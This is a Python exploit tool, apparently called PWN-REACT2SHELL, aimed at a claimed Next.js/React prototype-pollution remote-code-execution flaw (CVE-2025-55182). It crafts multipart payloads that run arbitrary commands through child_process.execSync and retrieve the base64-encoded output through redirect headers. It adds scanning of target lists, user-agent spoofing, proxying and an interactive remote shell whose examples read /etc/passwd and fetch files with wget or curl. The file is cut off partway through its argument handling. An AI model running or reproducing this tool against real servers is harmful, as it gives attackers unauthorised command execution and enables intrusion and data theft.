CVE-2025-55182-exploit.py

#!/usr/bin/python3
# Next.js Prototype Pollution RCE Exploit Tool
import aiohttp
import asyncio
import ssl
import re
import sys
import argparse
import json
import base64
import random
import readline  # For better input handling in shell mode
from urllib.parse import urlparse, quote, unquote
from typing import List, Dict, Any, Optional

# ASCII Art Banner
BANNER = r"""
╔══════════════════════════════════════════════════════════════════════╗╗╗╗
║                                                                      ║╗
║  ██████╗ ██╗    ██╗███╗   ██╗    ██████╗ ███████╗ █████╗  ██████╗████████╗
║  ██╔══██╗██║    ██║████╗  ██║    ██╔══██╗██╔════╝██╔══██╗██╔════╝╚══██╔══╝
║  ██████╔╝██║ █╗ ██║██╔██╗ ██║ ██ ██████╔╝█████╗  ███████║██║        ██║
║  ██╔═══╝ ██║███╗██║██║╚██╗██║    ██╔══██╗██╔══╝  ██╔══██║██║        ██║
║  ██║     ╚███╔███╔╝██║ ╚████║    ██║  ██║███████╗██║  ██║╚██████╗   ██║
║  ╚═╝      ╚══╝╚══╝ ╚═╝  ╚═══╝    ╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝ ╚═════╝   ╚═╝
║                                                                      ║
║   2██████╗██╗  ██╗███████╗██╗     ██╗                                ║
║   ██╔════╝██║  ██║██╔════╝██║     ██║    C0deD    🕷️ bY 🕷️   Venexy  🕸️
║   ███████╗███████║█████╗  ██║     ██║      linkedin.com/in/venexy    ║
║   ╚════██║██╔══██║██╔══╝  ██║     ██║        github.com/M4xSec       ║
║   ███████║██║  ██║███████╗███████╗███████╗                           ║
║   ╚══════╝╚═╝  ╚═╝╚══════╝╚══════╝╚══════╝                           ║
║   ╚══════╝╚═╝  ╚═╝╚══════╝╚══════╝╚══════╝                           ║
║                                                                      ║
╚══════════CVE-2025-55182 CVE-2025-66478 <-> React-next.js RCE═════════╝
"""

SHELL_BANNER = r"""
╔══════════════════════════════════════════════════════════════════════╗
║                 ** INTERACTIVE SHELL MODE **                         ║
║  Type commands to execute on the target (or 'exit' to quit)          ║
╚══════════════════════════════════════════════════════════════════════╝
"""

try:
    from termcolor import colored
    TERMCOLOR_AVAILABLE = True
except ImportError:
    TERMCOLOR_AVAILABLE = False
    colored = None

try:
    from tabulate import tabulate
    TABULATE_AVAILABLE = True
except ImportError:
    TABULATE_AVAILABLE = False
    tabulate = None

# Random User-Agents
USER_AGENTS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
    "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Mobile/15E148 Safari/604.1",
    "Mozilla/5.0 (iPad; CPU OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Mobile/15E148 Safari/604.1",
    "Mozilla/5.0 (Linux; Android 14; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 OPR/106.0.0.0",
]

def print_banner():
    """Print the ASCII art banner"""
    if TERMCOLOR_AVAILABLE:
        # Create red colored banner
        red_banner = "\n".join([colored(line, "red", attrs=["bold"]) for line in BANNER.split("\n")])
        print(red_banner)
    else:
        print(BANNER)
    print()

def print_shell_banner():
    """Print the shell mode banner"""
    if TERMCOLOR_AVAILABLE:
        cyan_banner = "\n".join([colored(line, "cyan", attrs=["bold"]) for line in SHELL_BANNER.split("\n")])
        print(cyan_banner)
    else:
        print(SHELL_BANNER)
    print()

def create_payload_base64(command):
    """Create the payload with base64 encoded output and @ separator"""
    # Escape special characters for JavaScript string
    escaped_command = command.replace('\\', '\\\\').replace('`', '\\`').replace('$', '\\$').replace('"', '\\"')

    payload = {
        "then": "$1:__proto__:then",
        "status": "resolved_model",
        "reason": -1,
        "value": "{\"then\":\"$B1337\"}",
        "_response": {
            "_prefix": f"var res=process.mainModule.require('child_process').execSync('{escaped_command} | base64 | tr \"\\\\n\" \"@\"').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{{digest: `NEXT_REDIRECT;push;/login?a=${{res}};307;`}});",
            "_chunks": "$Q2",
            "_formData": {
                "get": "$1:constructor:constructor"
            }
        }
    }

    return json.dumps(payload, separators=(',', ':'))

def decode_base64_output(encoded_output):
    """Decode base64 output and replace @ with newlines"""
    try:
        # First, URL decode if needed
        decoded_output = unquote(encoded_output)

        # Replace @ with newlines (this is how we encoded it)
        base64_string = decoded_output.replace('@', '\n')

        # Decode base64
        decoded_bytes = base64.b64decode(base64_string)

        # Try to decode as UTF-8, if fails use latin-1
        try:
            return decoded_bytes.decode('utf-8')
        except:
            return decoded_bytes.decode('latin-1', errors='replace')

    except Exception as e:
        return f"[Decoding error: {str(e)}] Original: {encoded_output}"

async def check_target(url, proxy=None, verify_ssl=True, custom_headers=None, timeout=30, custom_command=None, random_agent=False):
    """Check a single target for the vulnerability"""

    # Parse the URL to extract host for Host header
    parsed_url = urlparse(url)
    host = parsed_url.netloc

    headers = {
        "Next-Action": "x",
        "Sec-Ch-Ua-Platform": "macOS" if not random_agent else "Windows",
        "User-Agent": random.choice(USER_AGENTS) if random_agent else "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36",
        "Host": host,
        "X-Nextjs-Html-Request-Id": "SSTMXm7OJ_g0Ncx6jpQt9",
        "X-Nextjs-Request-Id": "b5dce965",
        "Upgrade-Insecure-Requests": "1",
        "Accept-Language": "en-US,en;q=0.9",
        "Sec-Ch-Ua-Mobile": "?0",
        "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
    }

    # Add custom headers if provided
    if custom_headers:
        headers.update(custom_headers)

    # Configure SSL context
    ssl_ctx = None
    if url.startswith('https://'):
        ssl_ctx = ssl.create_default_context()
        if not verify_ssl:
            ssl_ctx.check_hostname = False
            ssl_ctx.verify_mode = ssl.CERT_NONE

    # Create payload based on custom command
    if custom_command:
        if TERMCOLOR_AVAILABLE:
            print(f"  Using custom command: {colored(custom_command, 'cyan')}")
        else:
            print(f"  Using custom command: {custom_command}")
        exact_json = create_payload_base64(custom_command)
    else:
        # Default payload with 'whoami' using base64 encoding
        exact_json = r'''{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('whoami | base64 | tr \"\\n\" \"@\"').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}'''

    body = (
        "------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
        "Content-Disposition: form-data; name=\"0\"\r\n\r\n"
        + exact_json + "\r\n"
        "------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
        "Content-Disposition: form-data; name=\"1\"\r\n\r\n"
        "\"$@0\"\r\n"
        "------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
        "Content-Disposition: form-data; name=\"2\"\r\n\r\n"
        "[]\r\n"
        "------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"
    )

    try:
        timeout_obj = aiohttp.ClientTimeout(total=timeout)
        async with aiohttp.ClientSession(timeout=timeout_obj) as session:
            async with session.post(url, headers=headers, data=body, proxy=proxy, ssl=ssl_ctx) as response:
                resp_text = await response.text()
                resp_headers = dict(response.headers)

                # Enhanced regex to capture base64 outputs (may contain =, /, +, etc.)
                pattern = r'(login\?a=([^\s"\';<>]+))'

                # Check for 'login?a=' in response body with context
                body_matches = []
                for line_num, line in enumerate(resp_text.split('\n'), 1):
                    matches = re.finditer(pattern, line)
                    for match in matches:
                        encoded_output = match.group(2)
                        decoded_output = decode_base64_output(encoded_output)

                        body_matches.append({
                            'location': f"Body Line {line_num}",
                            'full_line': line.strip()[:200] + "..." if len(line.strip()) > 200 else line.strip(),
                            'match': match.group(1),
                            'encoded_output': encoded_output,
                            'decoded_output': decoded_output,
                            'context': highlight_text(line, match.start(), match.end())
                        })

                # Check for 'login?a=' in response headers
                header_matches = []
                for header, value in resp_headers.items():
                    matches = re.finditer(pattern, value, re.IGNORECASE)
                    for match in matches:
                        encoded_output = match.group(2)
                        decoded_output = decode_base64_output(encoded_output)

                        header_matches.append({
                            'location': f"Header: {header}",
                            'full_line': value,
                            'match': match.group(1),
                            'encoded_output': encoded_output,
                            'decoded_output': decoded_output,
                            'context': highlight_text(value, match.start(), match.end())
                        })

                # Combine all matches
                all_matches = body_matches + header_matches

                # Extract combined decoded output for shell mode
                combined_output = ""
                if all_matches:
                    # Combine all decoded outputs
                    outputs = []
                    for match in all_matches:
                        if match['decoded_output'] and '[Decoding error' not in match['decoded_output']:
                            outputs.append(match['decoded_output'])

                    if outputs:
                        combined_output = "\n".join(outputs)

                # NEW LOGIC: If no matches found, try alternative payload with id command
                if not all_matches:
                    if TERMCOLOR_AVAILABLE:
                        print(colored("  No 'login?a=' pattern found, trying alternative payload...", "yellow"))
                    else:
                        print("  No 'login?a=' pattern found, trying alternative payload...")

                    # Use the alternative payload with id command (base64 encoded)
                    alternative_payload = r'''{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id | base64 | tr \"\\n\" \"@\"').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}'''

                    alternative_body = (
                        "------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
                        "Content-Disposition: form-data; name=\"0\"\r\n\r\n"
                        + alternative_payload + "\r\n"
                        "------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
                        "Content-Disposition: form-data; name=\"1\"\r\n\r\n"
                        "\"$@0\"\r\n"
                        "------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
                        "Content-Disposition: form-data; name=\"2\"\r\n\r\n"
                        "[]\r\n"
                        "------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"
                    )

                    # Send second request with alternative payload
                    async with session.post(url, headers=headers, data=alternative_body, proxy=proxy, ssl=ssl_ctx) as alt_response:
                        alt_resp_text = await alt_response.text()
                        alt_resp_headers = dict(alt_response.headers)

                        # Check for matches in alternative response
                        alt_body_matches = []
                        for line_num, line in enumerate(alt_resp_text.split('\n'), 1):
                            matches = re.finditer(pattern, line)
                            for match in matches:
                                encoded_output = match.group(2)
                                decoded_output = decode_base64_output(encoded_output)

                                alt_body_matches.append({
                                    'location': f"Body Line {line_num} (Alternative Payload)",
                                    'full_line': line.strip()[:200] + "..." if len(line.strip()) > 200 else line.strip(),
                                    'match': match.group(1),
                                    'encoded_output': encoded_output,
                                    'decoded_output': decoded_output,
                                    'context': highlight_text(line, match.start(), match.end())
                                })

                        # Check headers in alternative response
                        alt_header_matches = []
                        for header, value in alt_resp_headers.items():
                            matches = re.finditer(pattern, value, re.IGNORECASE)
                            for match in matches:
                                encoded_output = match.group(2)
                                decoded_output = decode_base64_output(encoded_output)

                                alt_header_matches.append({
                                    'location': f"Header: {header} (Alternative Payload)",
                                    'full_line': value,
                                    'match': match.group(1),
                                    'encoded_output': encoded_output,
                                    'decoded_output': decoded_output,
                                    'context': highlight_text(value, match.start(), match.end())
                                })

                        # Combine alternative matches
                        all_matches = alt_body_matches + alt_header_matches

                        # Update response details to show alternative response
                        resp_text = alt_resp_text
                        resp_headers = alt_resp_headers

                        # Update combined output
                        combined_output = ""
                        if all_matches:
                            outputs = []
                            for match in all_matches:
                                if match['decoded_output'] and '[Decoding error' not in match['decoded_output']:
                                    outputs.append(match['decoded_output'])
                            if outputs:
                                combined_output = "\n".join(outputs)

                        # If still no matches after alternative payload
                        if not all_matches:
                            if TERMCOLOR_AVAILABLE:
                                print(colored("  Unable to get the shell to test further but was able to execute id command", "red"))
                            else:
                                print("  Unable to get the shell to test further but was able to execute id command")

                return {
                    'url': url,
                    'status': response.status,
                    'matches': all_matches,
                    'response_headers': resp_headers,
                    'response_body': resp_text,
                    'request_headers': headers,
                    'custom_command': custom_command,
                    'error': None,
                    'combined_output': combined_output
                }

    except asyncio.TimeoutError:
        return {
            'url': url,
            'status': None,
            'matches': [],
            'response_headers': {},
            'response_body': '',
            'request_headers': headers,
            'custom_command': custom_command,
            'error': f"Timeout after {timeout} seconds",
            'combined_output': ""
        }
    except Exception as e:
        return {
            'url': url,
            'status': None,
            'matches': [],
            'response_headers': {},
            'response_body': '',
            'request_headers': headers,
            'custom_command': custom_command,
            'error': str(e),
            'combined_output': ""
        }

def highlight_text(text, start, end):
    """Highlight the matched portion in the text"""
    before = text[max(0, start-30):start]
    matched = text[start:end]
    after = text[end:end+50]

    if TERMCOLOR_AVAILABLE:
        return f"...{before}{colored(matched, 'red', attrs=['bold'])}{after}..."
    else:
        return f"...{before}[{matched}]{after}..."

def print_request_details(request_headers, custom_command=None):
    """Print request headers in a formatted way"""
    print("\n" + "="*80)
    print("REQUEST DETAILS")
    print("="*80)

    if custom_command:
        if TERMCOLOR_AVAILABLE:
            print(f"COMMAND EXECUTED: {colored(custom_command, 'cyan')}")
        else:
            print(f"COMMAND EXECUTED: {custom_command}")
        print("-"*40)

    print("\nREQUEST HEADERS:")
    print("-"*40)

    for header, value in request_headers.items():
        if header == 'User-Agent' and len(value) > 80:
            print(f"  {header}: {value[:80]}...")
        elif len(value) > 100:
            print(f"  {header}: {value[:100]}...")
        else:
            print(f"  {header}: {value}")

def print_response_details(response_headers, response_body, verbose=False, custom_command=None):
    """Print response details in a formatted way"""
    print("\nRESPONSE DETAILS:")
    print("="*80)

    if custom_command:
        if TERMCOLOR_AVAILABLE:
            print(f"COMMAND EXECUTED: {colored(custom_command, 'cyan')}")
        else:
            print(f"COMMAND EXECUTED: {custom_command}")
        print("-"*40)

    print("\nRESPONSE HEADERS:")
    print("-"*40)
    for header, value in response_headers.items():
        print(f"  {header}: {value}")

    print(f"\nRESPONSE BODY ({len(response_body)} characters):")
    print("-"*40)

    if verbose:
        # Print full body
        print(response_body)
    else:
        # Print first 1500 chars
        print(response_body[:1500])
        if len(response_body) > 1500:
            print(f"\n... [Body truncated, use -v to see full response] ...")

def print_results(results, use_color=True, verbose=False):
    """Print the results in a formatted way"""

    if results['error']:
        if use_color and TERMCOLOR_AVAILABLE:
            print(colored(f"\n❌ Error checking {results['url']}: {results['error']}", "red"))
        else:
            print(f"\n❌ Error checking {results['url']}: {results['error']}")

        if verbose:
            print_request_details(results['request_headers'], results.get('custom_command'))
        return

    print("\n" + "="*80)

    if use_color and TERMCOLOR_AVAILABLE:
        print(colored(f"TARGET: {results['url']}", "cyan", attrs=["bold"]))
        print(colored(f"STATUS CODE: {results['status']}", "yellow"))
    else:
        print(f"TARGET: {results['url']}")
        print(f"STATUS CODE: {results['status']}")

    print("="*80)

    if verbose:
        print_request_details(results['request_headers'], results.get('custom_command'))

    if results['matches']:
        # Check if any match indicates alternative payload was used
        alternative_payload_used = any("Alternative Payload" in match.get('location', '') for match in results['matches'])

        if use_color and TERMCOLOR_AVAILABLE:
            if alternative_payload_used:
                print(colored("\n⚠️  ALTERNATIVE PAYLOAD SUCCESSFUL (id command executed)", "yellow", attrs=["bold"]))
            else:
                print(colored("\n🩸 EXPLOITATION SUCCESSFUL", "green", attrs=["bold"]))
        else:
            if alternative_payload_used:
                print("\n⚠️  ALTERNATIVE PAYLOAD SUCCESSFUL (id command executed)")
            else:
                print("\n🩸 EXPLOITATION SUCCESSFUL")

        print("="*80)

        # Create table data
        table_data = []
        for i, match in enumerate(results['matches'], 1):
            encoded_preview = match['encoded_output'][:30] + "..." if len(match['encoded_output']) > 30 else match['encoded_output']
            if use_color and TERMCOLOR_AVAILABLE:
                table_data.append([
                    colored(f"Match {i}", "yellow"),
                    match['location'],
                    encoded_preview,
                    match['context'][:60] + "..." if len(match['context']) > 60 else match['context']
                ])
            else:
                table_data.append([
                    f"Match {i}",
                    match['location'],
                    encoded_preview,
                    match['context'][:60] + "..." if len(match['context']) > 60 else match['context']
                ])

        # Print table
        if TABULATE_AVAILABLE:
            headers = [
                colored("ID", "cyan") if (use_color and TERMCOLOR_AVAILABLE) else "ID",
                colored("Location", "cyan") if (use_color and TERMCOLOR_AVAILABLE) else "Location",
                colored("Base64 Output", "cyan") if (use_color and TERMCOLOR_AVAILABLE) else "Base64 Output",
                colored("Context", "cyan") if (use_color and TERMCOLOR_AVAILABLE) else "Context"
            ]
            print(tabulate(table_data, headers=headers, tablefmt="grid", maxcolwidths=[10, 20, 30, 40]))
        else:
            # Simple table if tabulate not available
            print("\nFOUND MATCHES:")
            print("-"*80)
            for i, match in enumerate(results['matches'], 1):
                print(f"\n[{i}] LOCATION: {match['location']}")
                print(f"    ENCODED: {match['encoded_output'][:50]}...")
                print(f"    CONTEXT: {match['context'][:80]}...")

        print("\n" + "="*80)

        if use_color and TERMCOLOR_AVAILABLE:
            if results.get('custom_command'):
                print(colored(f"COMMAND OUTPUT DECODED (from: {results['custom_command']}):", "magenta", attrs=["bold"]))
            else:
                if alternative_payload_used:
                    print(colored("COMMAND OUTPUT DECODED (id command):", "magenta", attrs=["bold"]))
                else:
                    print(colored("DECODED COMMAND OUTPUTS:", "magenta", attrs=["bold"]))
        else:
            if results.get('custom_command'):
                print(f"COMMAND OUTPUT DECODED (from: {results['custom_command']}):")
            else:
                if alternative_payload_used:
                    print("COMMAND OUTPUT DECODED (id command):")
                else:
                    print("DECODED COMMAND OUTPUTS:")

        print("-"*80)

        # Display decoded outputs
        unique_outputs = set()
        for i, match in enumerate(results['matches'], 1):
            decoded_output = match['decoded_output']
            encoded_output = match['encoded_output']

            output_key = (decoded_output, encoded_output)
            if output_key not in unique_outputs:
                unique_outputs.add(output_key)

                if use_color and TERMCOLOR_AVAILABLE:
                    print(colored(f"\n[OUTPUT {i}]", "yellow"))
                    print(colored("-" * 60, "cyan"))

                    # Show encoded output first
                    print(colored("Base64 Encoded (from server):", "blue"))
                    print(encoded_output[:100] + "..." if len(encoded_output) > 100 else encoded_output)

                    print(colored("\nDecoded Output:", "green"))
                    print(decoded_output)

                    print(colored("-" * 60, "cyan"))
                else:
                    print(f"\n[OUTPUT {i}]")
                    print("-" * 60)

                    print("Base64 Encoded (from server):")
                    print(encoded_output[:100] + "..." if len(encoded_output) > 100 else encoded_output)

                    print("\nDecoded Output:")
                    print(decoded_output)

                    print("-" * 60)

                # Show output stats
                print(f"Encoded length: {len(encoded_output)} characters")
                print(f"Decoded length: {len(decoded_output)} characters")
                print(f"Decoding successful: {'Yes' if '[Decoding error' not in decoded_output else 'No'}")

        print()

        if verbose:
            print_response_details(results['response_headers'], results['response_body'], verbose, results.get('custom_command'))

    else:
        if use_color and TERMCOLOR_AVAILABLE:
            print(colored("\n❌ No 'login?a=' pattern found in response", "red"))
        else:
            print("\n❌ No 'login?a=' pattern found in response")

        if verbose:
            print_response_details(results['response_headers'], results['response_body'], verbose, results.get('custom_command'))

def parse_custom_headers(header_args):
    """Parse custom headers from command line arguments"""
    custom_headers = {}

    if header_args:
        for header_arg in header_args:
            if ':' in header_arg:
                # Split only on first colon
                parts = header_arg.split(':', 1)
                if len(parts) == 2:
                    key = parts[0].strip()
                    value = parts[1].strip()
                    custom_headers[key] = value
                else:
                    print(f"Warning: Invalid header format '{header_arg}'. Use 'Header: Value' format.")
            else:
                print(f"Warning: Invalid header format '{header_arg}'. Use 'Header: Value' format.")

    return custom_headers

def read_urls_from_file(file_path):
    """Read URLs from a file"""
    urls = []
    try:
        with open(file_path, 'r') as f:
            for line in f:
                line = line.strip()
                if line and not line.startswith('#'):
                    urls.append(line)
        return urls
    except Exception as e:
        print(f"Error reading file {file_path}: {e}")
        return []

async def interactive_shell(url, proxy=None, verify_ssl=True, custom_headers=None, timeout=30, random_agent=False, use_color=True):
    """Start an interactive shell for the target"""
    print_shell_banner()

    # Test initial connection with whoami
    if TERMCOLOR_AVAILABLE and use_color:
        print(colored("Testing connection with 'whoami' command...", "yellow"))
    else:
        print("Testing connection with 'whoami' command...")

    whoami_result = await check_target(
        url=url,
        proxy=proxy,
        verify_ssl=verify_ssl,
        custom_headers=custom_headers,
        timeout=timeout,
        custom_command="whoami",
        random_agent=random_agent
    )

    if whoami_result.get('error') or not whoami_result.get('matches'):
        if TERMCOLOR_AVAILABLE and use_color:
            print(colored("❌ Connection test failed! Shell mode cannot start.", "red"))
            if whoami_result.get('error'):
                print(colored(f"Error: {whoami_result['error']}", "red"))
        else:
            print("❌ Connection test failed! Shell mode cannot start.")
            if whoami_result.get('error'):
                print(f"Error: {whoami_result['error']}")
        return

    # Get current directory
    if TERMCOLOR_AVAILABLE and use_color:
        print(colored("Getting current directory...", "yellow"))
    else:
        print("Getting current directory...")

    pwd_result = await check_target(
        url=url,
        proxy=proxy,
        verify_ssl=verify_ssl,
        custom_headers=custom_headers,
        timeout=timeout,
        custom_command="pwd",
        random_agent=random_agent
    )

    # Extract username from whoami result
    username = "unknown"
    if whoami_result.get('matches'):
        for match in whoami_result['matches']:
            if match.get('decoded_output'):
                username = match['decoded_output'].strip()
                break

    # Extract current directory from pwd result
    current_dir = "unknown"
    if pwd_result.get('matches'):
        for match in pwd_result['matches']:
            if match.get('decoded_output'):
                current_dir = match['decoded_output'].strip()
                break

    if TERMCOLOR_AVAILABLE and use_color:
        print(colored(f"🩸 Connected! User: {username}, Directory: {current_dir}", "green"))
        print(colored("\nType 'help' for available commands", "cyan"))
        print(colored("Type 'exit' or 'quit' to leave shell\n", "cyan"))
    else:
        print(f"🩸 Connected! User: {username}, Directory: {current_dir}")
        print("\nType 'help' for available commands")
        print("Type 'exit' or 'quit' to leave shell\n")

    # Command history
    command_history = []

    while True:
        try:
            # Create prompt with username and current directory
            if TERMCOLOR_AVAILABLE and use_color:
                prompt = colored(f"[{username}@{urlparse(url).netloc}:{current_dir}]$ ", "green", attrs=["bold"])
            else:
                prompt = f"[{username}@{urlparse(url).netloc}:{current_dir}]$ "

            # Get user input
            command = input(prompt).strip()

            # Skip empty commands
            if not command:
                continue

            # Add to history
            command_history.append(command)

            # Check for special commands
            if command.lower() in ['exit', 'quit']:
                if TERMCOLOR_AVAILABLE and use_color:
                    print(colored("Exiting shell mode...", "yellow"))
                else:
                    print("Exiting shell mode...")
                break

            elif command.lower() == 'help':
                print_help()
                continue

            elif command.lower() == 'history':
                print_command_history(command_history)
                continue

            elif command.lower() == 'clear':
                print("\n" * 100)
                continue

            elif command.lower() == 'whoami':
                # Use cached result
                if username != "unknown":
                    print(username)
                else:
                    # Re-fetch if needed
                    result = await check_target(
                        url=url,
                        proxy=proxy,
                        verify_ssl=verify_ssl,
                        custom_headers=custom_headers,
                        timeout=timeout,
                        custom_command="whoami",
                        random_agent=random_agent
                    )
                    if result.get('matches'):
                        for match in result['matches']:
                            if match.get('decoded_output'):
                                print(match['decoded_output'])
                                break
                    else:
                        print("Failed to execute command")
                continue

            elif command.lower() == 'pwd':
                # Use cached result
                if current_dir != "unknown":
                    print(current_dir)
                else:
                    # Re-fetch if needed
                    result = await check_target(
                        url=url,
                        proxy=proxy,
                        verify_ssl=verify_ssl,
                        custom_headers=custom_headers,
                        timeout=timeout,
                        custom_command="pwd",
                        random_agent=random_agent
                    )
                    if result.get('matches'):
                        for match in result['matches']:
                            if match.get('decoded_output'):
                                print(match['decoded_output'])
                                break
                    else:
                        print("Failed to execute command")
                continue

            # Handle cd command specially to update current_dir
            elif command.lower().startswith('cd '):
                # Extract directory
                target_dir = command[3:].strip()

                # Execute cd command
                cd_result = await check_target(
                    url=url,
                    proxy=proxy,
                    verify_ssl=verify_ssl,
                    custom_headers=custom_headers,
                    timeout=timeout,
                    custom_command=f"cd {target_dir} && pwd",
                    random_agent=random_agent
                )

                if cd_result.get('matches'):
                    for match in cd_result['matches']:
                        if match.get('decoded_output'):
                            new_dir = match['decoded_output'].strip()
                            if "No such file or directory" not in new_dir and "[Decoding error" not in new_dir:
                                current_dir = new_dir
                                print(f"Changed directory to: {current_dir}")
                            else:
                                print(f"Failed to change directory to: {target_dir}")
                            break
                else:
                    print(f"Failed to change directory to: {target_dir}")
                continue

            # Execute the command
            print(f"Executing: {command}")
            result = await check_target(
                url=url,
                proxy=proxy,
                verify_ssl=verify_ssl,
                custom_headers=custom_headers,
                timeout=timeout,
                custom_command=command,
                random_agent=random_agent
            )

            if result.get('error'):
                if TERMCOLOR_AVAILABLE and use_color:
                    print(colored(f"Error: {result['error']}", "red"))
                else:
                    print(f"Error: {result['error']}")
            elif result.get('matches'):
                # Print all decoded outputs
                for i, match in enumerate(result['matches'], 1):
                    if match.get('decoded_output'):
                        print(match['decoded_output'])
            else:
                print("Somthing is wrong...")

        except KeyboardInterrupt:
            print("\nUse 'exit' or 'quit' to leave shell")
            continue
        except EOFError:
            print("\nExiting shell mode...")
            break
        except Exception as e:
            if TERMCOLOR_AVAILABLE and use_color:
                print(colored(f"Error: {e}", "red"))
            else:
                print(f"Error: {e}")

def print_help():
    """Print help for shell commands"""
    help_text = """
Available commands:
  help                  Show this help message
  exit, quit            Exit the shell
  clear                 Clear the screen
  history               Show command history
  whoami                Show current user
  pwd                   Show current directory
  cd <directory>        Change directory
  <any linux command>   Execute system command

Examples:
  ls -la                List directory contents
  cat /etc/passwd       Read a file
  id                    Show user and group IDs
  uname -a              Show system information
  ps aux                Show running processes
  find / -name "*.txt"  Search for files
  wget http://...       Download a file
  curl http://...       Make HTTP request
"""
    print(help_text)

def print_command_history(history):
    """Print command history"""
    if not history:
        print("No commands in history")
        return

    print("\nCommand History:")
    print("-" * 50)
    for i, cmd in enumerate(history, 1):
        print(f"{i:3}. {cmd}")
    print("-" * 50)

def main():
    # Print banner first
    print_banner()

    parser = argparse.ArgumentParser(
        description="PWN-REACT2SHELL: Next.js Prototype Pollution RCE Exploit Tool",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  %(prog)s -u http://target.com
  %(prog)s -u http://localhost:3000 -p http://127.0.0.1:8080
  %(prog)s -u https://target.com -k
  %(prog)s -l targets.txt
  %(prog)s -u http://target.com --custom "id"
  %(prog)s -u http://target.com --custom "cat /etc/passwd"
  %(prog)s -u http://target.com --custom "uname -a" -v
  %(prog)s -u http://target.com -H "Cookie: session=abc123" --custom "ps aux"
  %(prog)s -l targets.txt --custom "whoami; id; pwd"
  %(prog)s -u http://target.com --custom "cat /etc/passwd" --payload-only
  %(prog)s -u http://target.com --random-agent
  %(prog)s -l targets.txt --random-agent -k
  %(prog)s -u http://target.com --shell    # Interactive shell mode
        """
    )

    # Target options (mutually exclusive)
    target_group = parser.add_mutually_exclusive_group(required=True)
    target_group.add_argument(
        "-u",
        "--url",
        type=str,
        help="Single target URL"
    )

    target_group.add_argument(
        "-l",
        "--list",
        type=str,
        help="File containing list of target URLs (one per line)"
    )

    parser.add_argument(
        "--shell",
        action="store_true",
        help="Start interactive shell mode (requires -u with single URL)"
    )

    parser.add_argument(
        "--proxy",
        "-p",
        help="Proxy URL (e.g., http://127.0.0.1:8080, socks5://127.0.0.1:9050)"
    )

    parser.add_argument(
        "-k",
        "--insecure",
        action="store_true",
        help="Ignore SSL certificate verification"
    )

    parser.add_argument(
        "--no-color",
        action="store_true",
        help="Disable colored output"
    )

    parser.add_argument(
        "-v",
        "--verbose",
        action="store_true",
        help="Verbose mode: show full request/response details"
    )

    parser.add_argument(
        "--timeout",
        type=int,
        default=30,
        help="Request timeout in seconds (default: 30)"
    )

    parser.add_argument(
        "--header",
        "-H",
        action="append",
        help="Add custom header (can be used multiple times, format: 'Header: Value')"
    )

    parser.add_argument(
        "--show-request",
        action="store_true",
        help="Show request details (headers, body) even in non-verbose mode"
    )

    parser.add_argument(
        "--save-response",
        type=str,
        help="Save response to file (JSON format)"
    )

    parser.add_argument(
        "--custom",
        type=str,
        help="Custom command to execute (e.g., 'id', 'ls -la', 'cat /etc/passwd')"
    )

    parser.add_argument(
        "--payload-only",
        action="store_true",
        help="Only show the generated payload, don't send the request"
    )

    parser.add_argument(
        "--random-agent",
        action="store_true",
        help="Use random User-Agent header"
    )

    parser.add_argument(
        "--threads",
        type=int,
        default=5,
        help="Number of concurrent threads (default: 5)"
    )

    parser.add_argument(
        "--delay",
        type=float,
        default=0,
        help="Delay between requests in seconds (default: 0)"
    )

    args = parser.parse_args()

    # Check shell mode requirements
    if args.shell:
        if not args.url:
            print("Error: --shell mode requires a single URL with -u/--url")
            return

        if args.list:
            print("Error: --shell mode cannot be used with -l/--list. Use -u/--url for single target.")
            return

        if args.payload_only:
            print("Error: --shell mode cannot be used with --payload-only")
            return

    # Parse custom headers
